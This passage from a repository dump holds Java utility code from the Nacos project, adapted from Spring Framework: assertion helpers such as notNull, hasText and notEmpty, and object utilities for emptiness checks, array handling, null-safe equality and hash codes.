</pre>\n     *\n     * @param object          the object to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the object is {@code null}\n     * @since 5.0\n     */\n    public static void notNull(Object object, Supplier<String> messageSupplier) {\n        if (object == null) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that an object is not {@code null}.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #notNull(Object, String)}\n     */\n    @Deprecated\n    public static void notNull(Object object) {\n        notNull(object, \"[Assertion failed] - this argument is required; it must not be null\");\n    }\n\n    /**\n     * Assert that the given String is not empty; that is,\n     * it must not be {@code null} and not the empty String.\n     * <pre class=\"code\">Assert.hasLength(name, \"Name must not be empty\");</pre>\n     *\n     * @param text    the String to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the text is empty\n     */\n    public static void hasLength(String text, String message) {\n        if (!StringUtils.hasLength(text)) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that the given String is not empty; that is,\n     * it must not be {@code null} and not the empty String.\n     * <pre class=\"code\">\n     * Assert.hasLength(account.getName(),\n     *     () -&gt; \"Name for account '\" + account.getId() + \"' must not be empty\");\n     * </pre>\n     *\n     * @param text            the String to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the text is empty\n     * @since 5.0\n     */\n    public static void hasLength(String text, Supplier<String> messageSupplier) {\n        if (!StringUtils.hasLength(text)) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that the given String is not empty; that is,\n     * it must not be {@code null} and not the empty String.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #hasLength(String, String)}\n     */\n    @Deprecated\n    public static void hasLength(String text) {\n        hasLength(text,\n                \"[Assertion failed] - this String argument must have length; it must not be null or empty\");\n    }\n\n    /**\n     * Assert that the given String contains valid text content; that is, it must not\n     * be {@code null} and must contain at least one non-whitespace character.\n     * <pre class=\"code\">Assert.hasText(name, \"'name' must not be empty\");</pre>\n     *\n     * @param text    the String to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the text does not contain valid text content\n     */\n    public static void hasText(String text, String message) {\n        if (!StringUtils.hasText(text)) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that the given String contains valid text content; that is, it must not\n     * be {@code null} and must contain at least one non-whitespace character.\n     * <pre class=\"code\">\n     * Assert.hasText(account.getName(),\n     *     () -&gt; \"Name for account '\" + account.getId() + \"' must not be empty\");\n     * </pre>\n     *\n     * @param text            the String to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the text does not contain valid text content\n     * @since 5.0\n     */\n    public static void hasText(String text, Supplier<String> messageSupplier) {\n        if (!StringUtils.hasText(text)) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that the given String contains valid text content; that is, it must not\n     * be {@code null} and must contain at least one non-whitespace character.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #hasText(String, String)}\n     */\n    @Deprecated\n    public static void hasText(String text) {\n        hasText(text,\n                \"[Assertion failed] - this String argument must have text; it must not be null, empty, or blank\");\n    }\n\n    /**\n     * Assert that the given text does not contain the given substring.\n     * <pre class=\"code\">\n     * Assert.doesNotContain(name, forbidden, () -&gt; \"Name must not contain '\" + forbidden + \"'\");\n     * </pre>\n     *\n     * @param textToSearch    the text to search\n     * @param substring       the substring to find within the text\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the text contains the substring\n     * @since 5.0\n     */\n    public static void doesNotContain(String textToSearch, String substring, Supplier<String> messageSupplier) {\n        if (StringUtils.hasLength(textToSearch) && StringUtils.hasLength(substring)\n                && textToSearch.contains(substring)) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that the given text does not contain the given substring.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #doesNotContain(String, String, String)}\n     */\n    @Deprecated\n    public static void doesNotContain(String textToSearch, String substring) {\n        doesNotContain(textToSearch, substring,\n                () -> \"[Assertion failed] - this String argument must not contain the substring [\" + substring + \"]\");\n    }\n\n    /**\n     * Assert that an array contains elements; that is, it must not be\n     * {@code null} and must contain at least one element.\n     * <pre class=\"code\">Assert.notEmpty(array, \"The array must contain elements\");</pre>\n     *\n     * @param array   the array to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the object array is {@code null} or contains no elements\n     */\n    public static void notEmpty(Object[] array, String message) {\n        if (AbstractObjectUtils.isEmpty(array)) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that an array contains elements; that is, it must not be\n     * {@code null} and must contain at least one element.\n     * <pre class=\"code\">\n     * Assert.notEmpty(array, () -&gt; \"The \" + arrayType + \" array must contain elements\");\n     * </pre>\n     *\n     * @param array           the array to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the object array is {@code null} or contains no elements\n     * @since 5.0\n     */\n    public static void notEmpty(Object[] array, Supplier<String> messageSupplier) {\n        if (AbstractObjectUtils.isEmpty(array)) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that an array contains elements; that is, it must not be\n     * {@code null} and must contain at least one element.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #notEmpty(Object[], String)}\n     */\n    @Deprecated\n    public static void notEmpty(Object[] array) {\n        notEmpty(array, \"[Assertion failed] - this array must not be empty: it must contain at least 1 element\");\n    }\n\n    /**\n     * Assert that a collection contains elements; that is, it must not be\n     * {@code null} and must contain at least one element.\n     * <pre class=\"code\">\n     * Assert.notEmpty(collection, () -&gt; \"The \" + collectionType + \" collection must contain elements\");\n     * </pre>\n     *\n     * @param collection      the collection to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the collection is {@code null} or\n     *                                  contains no elements\n     * @since 5.0\n     */\n    public static void notEmpty(Collection<?> collection, Supplier<String> messageSupplier) {\n        if (CollectionUtils.isEmpty(collection)) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that a collection contains elements; that is, it must not be\n     * {@code null} and must contain at least one element.\n     * <pre class=\"code\">Assert.notEmpty(collection, \"Collection must contain elements\");</pre>\n     *\n     * @param collection the collection to check\n     * @param message    the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the collection is {@code null} or\n     *                                  contains no elements\n     */\n    public static void notEmpty(Collection<?> collection, String message) {\n        if (CollectionUtils.isEmpty(collection)) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that a collection contains elements; that is, it must not be\n     * {@code null} and must contain at least one element.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #notEmpty(Collection, String)}\n     */\n    @Deprecated\n    public static void notEmpty(Collection<?> collection) {\n        notEmpty(collection,\n                \"[Assertion failed] - this collection must not be empty: it must contain at least 1 element\");\n    }\n\n    /**\n     * Assert that a Map contains entries; that is, it must not be {@code null}\n     * and must contain at least one entry.\n     * <pre class=\"code\">Assert.notEmpty(map, \"Map must contain entries\");</pre>\n     *\n     * @param map     the map to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the map is {@code null} or contains no entries\n     */\n    public static void notEmpty(Map<?, ?> map, String message) {\n        if (CollectionUtils.isMapEmpty(map)) {\n            throw new IllegalArgumentException(message);\n        }\n    }\n\n    /**\n     * Assert that a Map contains entries; that is, it must not be {@code null}\n     * and must contain at least one entry.\n     * <pre class=\"code\">\n     * Assert.notEmpty(map, () -&gt; \"The \" + mapType + \" map must contain entries\");\n     * </pre>\n     *\n     * @param map             the map to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the map is {@code null} or contains no entries\n     * @since 5.0\n     */\n    public static void notEmpty(Map<?, ?> map, Supplier<String> messageSupplier) {\n        if (CollectionUtils.isMapEmpty(map)) {\n            throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that a Map contains entries; that is, it must not be {@code null}\n     * and must contain at least one entry.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #notEmpty(Map, String)}\n     */\n    @Deprecated\n    public static void notEmpty(Map<?, ?> map) {\n        notEmpty(map, \"[Assertion failed] - this map must not be empty; it must contain at least one entry\");\n    }\n\n    /**\n     * Assert that an array contains no {@code null} elements.\n     * Note: Does not complain if the array is empty!\n     * <pre class=\"code\">Assert.noNullElements(array, \"The array must contain non-null elements\");</pre>\n     *\n     * @param array   the array to check\n     * @param message the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the object array contains a {@code null} element\n     */\n    public static void noNullElements(Object[] array, String message) {\n        if (array != null) {\n            for (Object element : array) {\n                if (element == null) {\n                    throw new IllegalArgumentException(message);\n                }\n            }\n        }\n    }\n\n    /**\n     * Assert that an array contains no {@code null} elements.\n     * Note: Does not complain if the array is empty!\n     * <pre class=\"code\">\n     * Assert.noNullElements(array, () -&gt; \"The \" + arrayType + \" array must contain non-null elements\");\n     * </pre>\n     *\n     * @param array           the array to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the object array contains a {@code null} element\n     * @since 5.0\n     */\n    public static void noNullElements(Object[] array, Supplier<String> messageSupplier) {\n        if (array != null) {\n            for (Object element : array) {\n                if (element == null) {\n                    throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n                }\n            }\n        }\n    }\n\n    /**\n     * Assert that an array contains no {@code null} elements.\n     *\n     * @deprecated as of 4.3.7, in favor of {@link #noNullElements(Object[], String)}\n     */\n    @Deprecated\n    public static void noNullElements(Object[] array) {\n        noNullElements(array, \"[Assertion failed] - this array must not contain any null elements\");\n    }\n\n    /**\n     * Assert that a collection contains no {@code null} elements.\n     * Note: Does not complain if the collection is empty!\n     * <pre class=\"code\">Assert.noNullElements(collection, \"Collection must contain non-null elements\");</pre>\n     *\n     * @param collection the collection to check\n     * @param message    the exception message to use if the assertion fails\n     * @throws IllegalArgumentException if the collection contains a {@code null} element\n     * @since 5.2\n     */\n    public static void noNullElements(Collection<?> collection, String message) {\n        if (collection != null) {\n            for (Object element : collection) {\n                if (element == null) {\n                    throw new IllegalArgumentException(message);\n                }\n            }\n        }\n    }\n\n    /**\n     * Assert that a collection contains no {@code null} elements.\n     * Note: Does not complain if the collection is empty!\n     * <pre class=\"code\">\n     * Assert.noNullElements(collection, () -&gt; \"Collection \" + collectionName + \" must contain non-null elements\");\n     * </pre>\n     *\n     * @param collection      the collection to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails\n     * @throws IllegalArgumentException if the collection contains a {@code null} element\n     * @since 5.2\n     */\n    public static void noNullElements(Collection<?> collection, Supplier<String> messageSupplier) {\n        if (collection != null) {\n            for (Object element : collection) {\n                if (element == null) {\n                    throw new IllegalArgumentException(nullSafeGet(messageSupplier));\n                }\n            }\n        }\n    }\n\n    /**\n     * Assert that the provided object is an instance of the provided class.\n     * <pre class=\"code\">Assert.instanceOf(Foo.class, foo, \"Foo expected\");</pre>\n     *\n     * @param type    the type to check against\n     * @param obj     the object to check\n     * @param message a message which will be prepended to provide further context.\n     *                If it is empty or ends in \":\" or \";\" or \",\" or \".\", a full exception message\n     *                will be appended. If it ends in a space, the name of the offending object's\n     *                type will be appended. In any other case, a \":\" with a space and the name\n     *                of the offending object's type will be appended.\n     * @throws IllegalArgumentException if the object is not an instance of type\n     */\n    public static void isInstanceOf(Class<?> type, Object obj, String message) {\n        notNull(type, \"Type to check against must not be null\");\n        if (!type.isInstance(obj)) {\n            instanceCheckFailed(type, obj, message);\n        }\n    }\n\n    /**\n     * Assert that the provided object is an instance of the provided class.\n     * <pre class=\"code\">\n     * Assert.instanceOf(Foo.class, foo, () -&gt; \"Processing \" + Foo.class.getSimpleName() + \":\");\n     * </pre>\n     *\n     * @param type            the type to check against\n     * @param obj             the object to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails. See {@link #isInstanceOf(Class, Object, String)} for details.\n     * @throws IllegalArgumentException if the object is not an instance of type\n     * @since 5.0\n     */\n    public static void isInstanceOf(Class<?> type, Object obj, Supplier<String> messageSupplier) {\n        notNull(type, \"Type to check against must not be null\");\n        if (!type.isInstance(obj)) {\n            instanceCheckFailed(type, obj, nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that the provided object is an instance of the provided class.\n     * <pre class=\"code\">Assert.instanceOf(Foo.class, foo);</pre>\n     *\n     * @param type the type to check against\n     * @param obj  the object to check\n     * @throws IllegalArgumentException if the object is not an instance of type\n     */\n    public static void isInstanceOf(Class<?> type, Object obj) {\n        isInstanceOf(type, obj, \"\");\n    }\n\n    /**\n     * Assert that {@code superType.isAssignableFrom(subType)} is {@code true}.\n     * <pre class=\"code\">Assert.isAssignable(Number.class, myClass, \"Number expected\");</pre>\n     *\n     * @param superType the super type to check against\n     * @param subType   the sub type to check\n     * @param message   a message which will be prepended to provide further context.\n     *                  If it is empty or ends in \":\" or \";\" or \",\" or \".\", a full exception message\n     *                  will be appended. If it ends in a space, the name of the offending sub type\n     *                  will be appended. In any other case, a \":\" with a space and the name of the\n     *                  offending sub type will be appended.\n     * @throws IllegalArgumentException if the classes are not assignable\n     */\n    public static void isAssignable(Class<?> superType, Class<?> subType, String message) {\n        notNull(superType, \"Super type to check against must not be null\");\n        if (subType == null || !superType.isAssignableFrom(subType)) {\n            assignableCheckFailed(superType, subType, message);\n        }\n    }\n\n    /**\n     * Assert that {@code superType.isAssignableFrom(subType)} is {@code true}.\n     * <pre class=\"code\">\n     * Assert.isAssignable(Number.class, myClass, () -&gt; \"Processing \" + myAttributeName + \":\");\n     * </pre>\n     *\n     * @param superType       the super type to check against\n     * @param subType         the sub type to check\n     * @param messageSupplier a supplier for the exception message to use if the\n     *                        assertion fails. See {@link #isAssignable(Class, Class, String)} for details.\n     * @throws IllegalArgumentException if the classes are not assignable\n     * @since 5.0\n     */\n    public static void isAssignable(Class<?> superType, Class<?> subType, Supplier<String> messageSupplier) {\n        notNull(superType, \"Super type to check against must not be null\");\n        if (subType == null || !superType.isAssignableFrom(subType)) {\n            assignableCheckFailed(superType, subType, nullSafeGet(messageSupplier));\n        }\n    }\n\n    /**\n     * Assert that {@code superType.isAssignableFrom(subType)} is {@code true}.\n     * <pre class=\"code\">Assert.isAssignable(Number.class, myClass);</pre>\n     *\n     * @param superType the super type to check\n     * @param subType   the sub type to check\n     * @throws IllegalArgumentException if the classes are not assignable\n     */\n    public static void isAssignable(Class<?> superType, Class<?> subType) {\n        isAssignable(superType, subType, \"\");\n    }\n\n    private static void instanceCheckFailed(Class<?> type, Object obj, String msg) {\n        String className = (obj != null ? obj.getClass().getName() : \"null\");\n        String result = \"\";\n        boolean defaultMessage = true;\n        if (StringUtils.hasLength(msg)) {\n            if (endsWithSeparator(msg)) {\n                result = msg + \" \";\n            } else {\n                result = messageWithTypeName(msg, className);\n                defaultMessage = false;\n            }\n        }\n        if (defaultMessage) {\n            result = result + (\"Object of class [\" + className + \"] must be an instance of \" + type);\n        }\n        throw new IllegalArgumentException(result);\n    }\n\n    private static void assignableCheckFailed(Class<?> superType, Class<?> subType, String msg) {\n        String result = \"\";\n        boolean defaultMessage = true;\n        if (StringUtils.hasLength(msg)) {\n            if (endsWithSeparator(msg)) {\n                result = msg + \" \";\n            } else {\n                result = messageWithTypeName(msg, subType);\n                defaultMessage = false;\n            }\n        }\n        if (defaultMessage) {\n            result = result + (subType + \" is not assignable to \" + superType);\n        }\n        throw new IllegalArgumentException(result);\n    }\n\n    private static boolean endsWithSeparator(String msg) {\n        return (msg.endsWith(\":\") || msg.endsWith(\";\") || msg.endsWith(\",\") || msg.endsWith(\".\"));\n    }\n\n    private static String messageWithTypeName(String msg, Object typeName) {\n        return msg + (msg.endsWith(\" \") ? \"\" : \": \") + typeName;\n    }\n\n    private static String nullSafeGet(Supplier<String> messageSupplier) {\n        return (messageSupplier != null ? messageSupplier.get() : null);\n    }\n\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/packagescan/util/AbstractObjectUtils.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.packagescan.util;\n\nimport java.lang.reflect.Array;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.StringJoiner;\n\n/**\n * Copy from https://github.com/spring-projects/spring-framework.git, with less modifications\n * Miscellaneous object utility methods.\n *\n * <p>Mainly for internal use within the framework.\n *\n * <p>Thanks to Alex Ruiz for contributing several enhancements to this class!\n *\n * @author Juergen Hoeller\n * @author Keith Donald\n * @author Rod Johnson\n * @author Rob Harrop\n * @author Chris Beams\n * @author Sam Brannen\n * @since 19.03.2004\n */\npublic abstract class AbstractObjectUtils {\n\n    private AbstractObjectUtils() {\n    }\n\n    private static final int INITIAL_HASH = 7;\n\n    private static final int MULTIPLIER = 31;\n\n    private static final String EMPTY_STRING = \"\";\n\n    private static final String NULL_STRING = \"null\";\n\n    private static final String ARRAY_START = \"{\";\n\n    private static final String ARRAY_END = \"}\";\n\n    private static final String EMPTY_ARRAY = ARRAY_START + ARRAY_END;\n\n    private static final String ARRAY_ELEMENT_SEPARATOR = \", \";\n\n    private static final Object[] EMPTY_OBJECT_ARRAY = new Object[0];\n\n    /**\n     * Return whether the given throwable is a checked exception:\n     * that is, neither a RuntimeException nor an Error.\n     *\n     * @param ex the throwable to check\n     * @return whether the throwable is a checked exception\n     * @see Exception\n     * @see RuntimeException\n     * @see Error\n     */\n    public static boolean isCheckedException(Throwable ex) {\n        return !(ex instanceof RuntimeException || ex instanceof Error);\n    }\n\n    /**\n     * Check whether the given exception is compatible with the specified\n     * exception types, as declared in a throws clause.\n     *\n     * @param ex                 the exception to check\n     * @param declaredExceptions the exception types declared in the throws clause\n     * @return whether the given exception is compatible\n     */\n    public static boolean isCompatibleWithThrowsClause(Throwable ex, Class<?>... declaredExceptions) {\n        if (!isCheckedException(ex)) {\n            return true;\n        }\n        if (declaredExceptions != null) {\n            for (Class<?> declaredException : declaredExceptions) {\n                if (declaredException.isInstance(ex)) {\n                    return true;\n                }\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Determine whether the given object is an array:\n     * either an Object array or a primitive array.\n     *\n     * @param obj the object to check\n     */\n    public static boolean isArray(Object obj) {\n        return (obj != null && obj.getClass().isArray());\n    }\n\n    /**\n     * Determine whether the given array is empty:\n     * i.e. {@code null} or of zero length.\n     *\n     * @param array the array to check\n     * @see #isEmpty(Object)\n     */\n    public static boolean isEmpty(Object[] array) {\n        return (array == null || array.length == 0);\n    }\n\n    /**\n     * Determine whether the given object is empty.\n     *\n     * <p>This method supports the following object types.\n     * <ul>\n     * <li>{@code Optional}: considered empty if not {@link Optional#isPresent()}</li>\n     * <li>{@code Array}: considered empty if its length is zero</li>\n     * <li>{@link CharSequence}: considered empty if its length is zero</li>\n     * </ul>\n     *\n     * <p>If the given object is non-null and not one of the aforementioned\n     * supported types, this method returns {@code false}.\n     *\n     * @param obj the object to check\n     * @return {@code true} if the object is {@code null} or <em>empty</em>\n     * @see Optional#isPresent()\n     * @see AbstractObjectUtils#isEmpty(Object[])\n     * @since 4.2\n     */\n    public static boolean isEmpty(Object obj) {\n        if (obj == null) {\n            return true;\n        }\n\n        if (obj instanceof Optional) {\n            return !((Optional<?>) obj).isPresent();\n        }\n        if (obj instanceof CharSequence) {\n            return ((CharSequence) obj).length() == 0;\n        }\n        if (obj.getClass().isArray()) {\n            return Array.getLength(obj) == 0;\n        }\n        if (obj instanceof Collection) {\n            return ((Collection<?>) obj).isEmpty();\n        }\n        if (obj instanceof Map) {\n            return ((Map<?, ?>) obj).isEmpty();\n        }\n\n        // else\n        return false;\n    }\n\n    /**\n     * Unwrap the given object which is potentially a {@link Optional}.\n     *\n     * @param obj the candidate object\n     * @return either the value held within the {@code Optional}, {@code null}\n     * if the {@code Optional} is empty, or simply the given object as-is\n     * @since 5.0\n     */\n\n    public static Object unwrapOptional(Object obj) {\n        if (obj instanceof Optional) {\n            Optional<?> optional = (Optional<?>) obj;\n            if (!optional.isPresent()) {\n                return null;\n            }\n            Object result = optional.get();\n            AbstractAssert.isTrue(!(result instanceof Optional), \"Multi-level Optional usage not supported\");\n            return result;\n        }\n        return obj;\n    }\n\n    /**\n     * Check whether the given array contains the given element.\n     *\n     * @param array   the array to check (may be {@code null},\n     *                in which case the return value will always be {@code false})\n     * @param element the element to check for\n     * @return whether the element has been found in the given array\n     */\n    public static boolean containsElement(Object[] array, Object element) {\n        if (array == null) {\n            return false;\n        }\n        for (Object arrayEle : array) {\n            if (nullSafeEquals(arrayEle, element)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Check whether the given array of enum constants contains a constant with the given name,\n     * ignoring case when determining a match.\n     *\n     * @param enumValues the enum values to check, typically obtained via {@code MyEnum.values()}\n     * @param constant   the constant name to find (must not be null or empty string)\n     * @return whether the constant has been found in the given array\n     */\n    public static boolean containsConstant(Enum<?>[] enumValues, String constant) {\n        return containsConstant(enumValues, constant, false);\n    }\n\n    /**\n     * Check whether the given array of enum constants contains a constant with the given name.\n     *\n     * @param enumValues    the enum values to check, typically obtained via {@code MyEnum.values()}\n     * @param constant      the constant name to find (must not be null or empty string)\n     * @param caseSensitive whether case is significant in determining a match\n     * @return whether the constant has been found in the given array\n     */\n    public static boolean containsConstant(Enum<?>[] enumValues, String constant, boolean caseSensitive) {\n        for (Enum<?> candidate : enumValues) {\n            if (caseSensitive ? candidate.toString().equals(constant) :\n                    candidate.toString().equalsIgnoreCase(constant)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * Case insensitive alternative to {@link Enum#valueOf(Class, String)}.\n     *\n     * @param <E>        the concrete Enum type\n     * @param enumValues the array of all Enum constants in question, usually per {@code Enum.values()}\n     * @param constant   the constant to get the enum value of\n     * @throws IllegalArgumentException if the given constant is not found in the given array\n     *                                  of enum values. Use {@link #containsConstant(Enum[], String)} as a guard to avoid this exception.\n     */\n    public static <E extends Enum<?>> E caseInsensitiveValueOf(E[] enumValues, String constant) {\n        for (E candidate : enumValues) {\n            if (candidate.toString().equalsIgnoreCase(constant)) {\n                return candidate;\n            }\n        }\n        throw new IllegalArgumentException(\"Constant [\" + constant + \"] does not exist in enum type \"\n                +\n                enumValues.getClass().getComponentType().getName());\n    }\n\n    /**\n     * Append the given object to the given array, returning a new array\n     * consisting of the input array contents plus the given object.\n     *\n     * @param array the array to append to (can be {@code null})\n     * @param obj   the object to append\n     * @return the new array (of the same component type; never {@code null})\n     */\n    public static <A, O extends A> A[] addObjectToArray(A[] array, O obj) {\n        Class<?> compType = Object.class;\n        if (array != null) {\n            compType = array.getClass().getComponentType();\n        } else if (obj != null) {\n            compType = obj.getClass();\n        }\n        int newArrLength = (array != null ? array.length + 1 : 1);\n        @SuppressWarnings(\"unchecked\")\n        A[] newArr = (A[]) Array.newInstance(compType, newArrLength);\n        if (array != null) {\n            System.arraycopy(array, 0, newArr, 0, array.length);\n        }\n        newArr[newArr.length - 1] = obj;\n        return newArr;\n    }\n\n    /**\n     * Convert the given array (which may be a primitive array) to an\n     * object array (if necessary of primitive wrapper objects).\n     *\n     * <p>A {@code null} source value will be converted to an\n     * empty Object array.\n     *\n     * @param source the (potentially primitive) array\n     * @return the corresponding object array (never {@code null})\n     * @throws IllegalArgumentException if the parameter is not an array\n     */\n    public static Object[] toObjectArray(Object source) {\n        if (source instanceof Object[]) {\n            return (Object[]) source;\n        }\n        if (source == null) {\n            return EMPTY_OBJECT_ARRAY;\n        }\n        if (!source.getClass().isArray()) {\n            throw new IllegalArgumentException(\"Source is not an array: \" + source);\n        }\n        int length = Array.getLength(source);\n        if (length == 0) {\n            return EMPTY_OBJECT_ARRAY;\n        }\n        Class<?> wrapperType = Array.get(source, 0).getClass();\n        Object[] newArray = (Object[]) Array.newInstance(wrapperType, length);\n        for (int i = 0; i < length; i++) {\n            newArray[i] = Array.get(source, i);\n        }\n        return newArray;\n    }\n\n    //---------------------------------------------------------------------\n    // Convenience methods for content-based equality/hash-code handling\n    //---------------------------------------------------------------------\n\n    /**\n     * Determine if the given objects are equal, returning {@code true} if\n     * both are {@code null} or {@code false} if only one is {@code null}.\n     *\n     * <p>Compares arrays with {@code Arrays.equals}, performing an equality\n     * check based on the array elements rather than the array reference.\n     *\n     * @param o1 first Object to compare\n     * @param o2 second Object to compare\n     * @return whether the given objects are equal\n     * @see Object#equals(Object)\n     * @see Arrays#equals\n     */\n    public static boolean nullSafeEquals(Object o1, Object o2) {\n        if (o1 == o2) {\n            return true;\n        }\n        if (o1 == null || o2 == null) {\n            return false;\n        }\n        if (o1.equals(o2)) {\n            return true;\n        }\n        if (o1.getClass().isArray() && o2.getClass().isArray()) {\n            return arrayEquals(o1, o2);\n        }\n        return false;\n    }\n\n    /**\n     * Compare the given arrays with {@code Arrays.equals}, performing an equality\n     * check based on the array elements rather than the array reference.\n     *\n     * @param o1 first array to compare\n     * @param o2 second array to compare\n     * @return whether the given objects are equal\n     * @see #nullSafeEquals(Object, Object)\n     * @see Arrays#equals\n     */\n    private static boolean arrayEquals(Object o1, Object o2) {\n        if (o1 instanceof Object[] && o2 instanceof Object[]) {\n            return Arrays.equals((Object[]) o1, (Object[]) o2);\n        }\n        if (o1 instanceof boolean[] && o2 instanceof boolean[]) {\n            return Arrays.equals((boolean[]) o1, (boolean[]) o2);\n        }\n        if (o1 instanceof byte[] && o2 instanceof byte[]) {\n            return Arrays.equals((byte[]) o1, (byte[]) o2);\n        }\n        if (o1 instanceof char[] && o2 instanceof char[]) {\n            return Arrays.equals((char[]) o1, (char[]) o2);\n        }\n        if (o1 instanceof double[] && o2 instanceof double[]) {\n            return Arrays.equals((double[]) o1, (double[]) o2);\n        }\n        if (o1 instanceof float[] && o2 instanceof float[]) {\n            return Arrays.equals((float[]) o1, (float[]) o2);\n        }\n        if (o1 instanceof int[] && o2 instanceof int[]) {\n            return Arrays.equals((int[]) o1, (int[]) o2);\n        }\n        if (o1 instanceof long[] && o2 instanceof long[]) {\n            return Arrays.equals((long[]) o1, (long[]) o2);\n        }\n        if (o1 instanceof short[] && o2 instanceof short[]) {\n            return Arrays.equals((short[]) o1, (short[]) o2);\n        }\n        return false;\n    }\n\n    /**\n     * Return as hash code for the given object; typically the value of\n     * {@code Object#hashCode()}}. If the object is an array,\n     * this method will delegate to any of the {@code nullSafeHashCode}\n     * methods for arrays in this class. If the object is {@code null},\n     * this method returns 0.\n     *\n     * @see Object#hashCode()\n     * @see #nullSafeHashCode(Object[])\n     * @see #nullSafeHashCode(boolean[])\n     * @see #nullSafeHashCode(byte[])\n     * @see #nullSafeHashCode(char[])\n     * @see #nullSafeHashCode(double[])\n     * @see #nullSafeHashCode(float[])\n     * @see #nullSafeHashCode(int[])\n     * @see #nullSafeHashCode(long[])\n     * @see #nullSafeHashCode(short[])\n     */\n    public static int nullSafeHashCode(Object obj) {\n        if (obj == null) {\n            return 0;\n        }\n        if (obj.getClass().isArray()) {\n            if (obj instanceof Object[]) {\n                return nullSafeHashCode((Object[]) obj);\n            }\n            if (obj instanceof boolean[]) {\n                return nullSafeHashCode((boolean[]) obj);\n            }\n            if (obj instanceof byte[]) {\n                return nullSafeHashCode((byte[]) obj);\n            }\n            if (obj instanceof char[]) {\n                return nullSafeHashCode((char[]) obj);\n            }\n            if (obj instanceof double[]) {\n                return nullSafeHashCode((double[]) obj);\n            }\n            if (obj instanceof float[]) {\n                return nullSafeHashCode((float[]) obj);\n            }\n            if (obj instanceof int[]) {\n                return nullSafeHashCode((int[]) obj);\n            }\n            if (obj instanceof long[]) {\n                return nullSafeHashCode((long[]) obj);\n            }\n            if (obj instanceof short[]) {\n                return nullSafeHashCode((short[]) obj);\n            }\n        }\n        return obj.hashCode();\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(Object[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (Object element : array) {\n            hash = MULTIPLIER * hash + nullSafeHashCode(element);\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(boolean[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (boolean element : array) {\n            hash = MULTIPLIER * hash + Boolean.hashCode(element);\n        }\n        return hash;\n    }\n\n    /**\n     * Return a hash code based on the contents of the specified array.\n     * If {@code array} is {@code null}, this method returns 0.\n     */\n    public static int nullSafeHashCode(byte[] array) {\n        if (array == null) {\n            return 0;\n        }\n        int hash = INITIAL_HASH;\n        for (byte element : array) {\n            hash = MULTIPLIER * hash + element;\n        }\n        return hash;\n    }\n\n    /**\n     